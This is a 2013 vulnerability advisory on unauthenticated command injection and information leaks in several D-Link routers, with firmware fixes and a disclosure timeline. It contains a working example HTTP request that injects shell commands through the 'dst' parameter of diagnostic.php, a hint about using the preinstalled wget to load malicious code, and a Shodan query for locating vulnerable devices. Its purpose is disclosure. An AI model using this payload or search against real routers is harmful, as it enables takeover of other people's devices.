D-Link – Multiple Vulnerabilities
# Exploit Title: Multiple Vulnerabilities in Dlink devices # Date: 05.04.2013 # Exploit Author: m-1-k-3 # Vendor Homepage: http://www.dlink.de # Software Link: http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLProductCarouselSingle&cid=1197391383981&p=1197318958269&packedargs=ProductParentID%3D1197318677527%26category%3DQuickProductFinder%26locale%3D1195806663795%26term%3DDIR-645&pagename=DLinkEurope-DE%2FDLWrapper # Version: different devices and versions are affected Device Name: DIR-600 / DIR-300 revB / DIR-815 / DIR-645 / DIR-412 / DIR-456 / DIR-110 Vendor: D-Link ============ Vulnerable Firmware Releases: ============ DIR-815 v1.03b02 (unauthenticated command injection) DIR-645 v1.02 (unauthenticated command injection) DIR-645 v1.03 (authenticated command injection) DIR-600 below v2.16b01 (with v2.16b01 D-Link also fixes different vulnerabilities reported in M1ADV2013-003) DIR-300 revB v2.13b01 (unauthenticated command injection) DIR-300 revB v2.14b01 (authenticated command injection) DIR-412 Ver 1.14WWB02 (unauthenticated command injection) DIR-456U Ver 1.00ONG (unauthenticated command injection) DIR-110 Ver 1.01 (unauthenticated command injection) Possible other versions and devices are also affected by this vulnerability. ============ Shodan Torks ============ Shodan search: Server: Linux, HTTP/1.1, DIR => 9300 results ============ Vulnerability Overview: ============ * OS Command Injection The vulnerability is caused by missing input validation in the dst parameter and missing session validation and can be exploited to inject and execute arbitrary shell commands. WARNING: You do not need to be authenticated to the device to insert and execute malicious commands. Hint: On different devices like the DIR-645 wget is preinstalled and you are able to upload and execute your malicious code. => Parameter: dst Example Exploit: POST /diagnostic.php HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://xxxx/ Content-Length: 41 Cookie: uid=hfaiGzkB4z Pragma: no-cache Cache-Control: no-cache act=ping&dst=%26%20COMMAND%26 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/05.04.2013%20-%20Dlink-DIR-645_msf-shell.txt.png * Information disclosure: Nice server banner to detect this type of devices easily: Server Banner: Server: Linux, HTTP/1.1, DIR-815 Server Banner: Server: Linux, HTTP/1.1, DIR-645 Server Banner: Server: Linux, HTTP/1.1, DIR-600 Server Banner: Server: Linux, HTTP/1.1, DIR-300 Server Banner: Server: Linux, HTTP/1.1, DIR-412 Server Banner: Server: Linux, HTTP/1.1, DIR-456U Server Banner: Server: Linux, HTTP/1.1, DIR-110 * Information Disclosure: Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network. Request: http://<IP>IP/DevInfo.txt or http://<IP>IP/version.txt (check the source of the site) Response to DevInfo.txt: Firmware External Version: V1.00 Firmware Internal Version: a86b Model Name: DIR-815 Hardware Version: WLAN Domain: xxx Kernel: 2.6.33.2 Language: en Graphcal Authentication: Disable LAN MAC: xx WAN MAC: xx WLAN MAC: xx These details are available without authentication. ============ Solution ============ DIR-645: Update to firmware v1.04b5 DIR-600: Update to firmware v2.16B01 DIR-300rev B: Update to firmware 2.14B01 fixes the authentication bypass but not the command injection vulnerability. Other devices: No known solution available. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de/advisories Twitter: @s3cur1ty_de ============ Time Line: ============ 14.12.2012 - discovered vulnerability in first device 14.12.2012 - contacted dlink via the webinterface http://www.dlink.com/us/en/home-solutions/contact-d-link 20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link 21.12.2012 - D-link responded that they will check the findings 11.01.2013 - requested status update 25.01.2013 - requested status update and updated D-Link with the other vulnerable devices 25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix. 07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they are talking with me ;) since 07.02.2013 - Good communication and firmware testing 27.02.2013 - Roberto Paleari releases details about authentication bypass in DIR-645 - http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt 05.04.2013 - vendor releases firmware updates 05.04.2013 - public release ===================== Advisory end ===================== |